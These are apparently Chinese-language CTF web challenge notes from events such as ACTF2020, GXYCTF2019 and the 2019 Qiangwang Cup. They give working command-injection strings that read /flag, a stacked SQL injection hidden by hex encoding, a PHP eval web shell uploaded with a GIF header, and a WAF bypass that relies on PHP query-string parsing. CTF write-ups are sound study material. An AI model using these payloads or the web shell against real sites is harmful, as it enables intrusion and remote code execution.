[ACTF2020 新生赛]Exec
只有一个文本框,并且输入域名可以ping,返回控制台的结果。
尝试命令截断:
1 | localhost; ls |
成功返回:
1 | PING localhost (127.0.0.1): 56 data bytes |
exp:
1 | localhost; cat /flag |
[GXYCTF2019]Ping Ping Ping
和上面那道题一样,不过加了输入验证。
尝试fuzz。,不,甚至不用fuzz,直接?ip=localhost;ls
就可以直接ls出来内容
1 | PING localhost (127.0.0.1): 56 data bytes |
又学会一手:用反引号获取输出,可以和管道符搭配使用
1 | ?ip=localhost;cat$IFS`ls`; |
[强网杯2019] 随便注
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
堆叠注入;使用1';<query>;#
进行堆叠注入。
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
可以进行十六进制编码绕过一些特定过滤,如
1 | ;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# |
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
yakit可以直接右键十六进制编码
[极客大挑战 2019]Upload
上传时限制了后缀,可以直接改文件名绕过;然后Content-Type: image/jpeg绕过
屏蔽了<?
,可以通过phtml绕过:
1 | GIF89a?<script language="php">eval($_GET['cmd']);</script> |
[RoarCTF 2019]Easy Calc
命令执行绕过:PHP传入时拒绝接受字母PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 1.删除空白符
- 2.将某些字符转换为下划线(包括空格)
在了解到PHP的字符串解析之后,我们思考一个问题,WAF它不让num参数传入字母,所以我们不能让WAF文件检测到字母,但是我们又需要传入字母来构成我们的命令,这种情况下我们该怎么对其进行绕过呢?
绕过方法
因为num不可以传入字母,但是我们在num参数之前添加一个空格,这样在PHP的语言特性下会默认删除这个空格,但是WAF会因为这个空格导致检测不到num这个参数,最终导致WAF被绕过。
[极客大挑战 2019]HardSQL
Xpath报错注入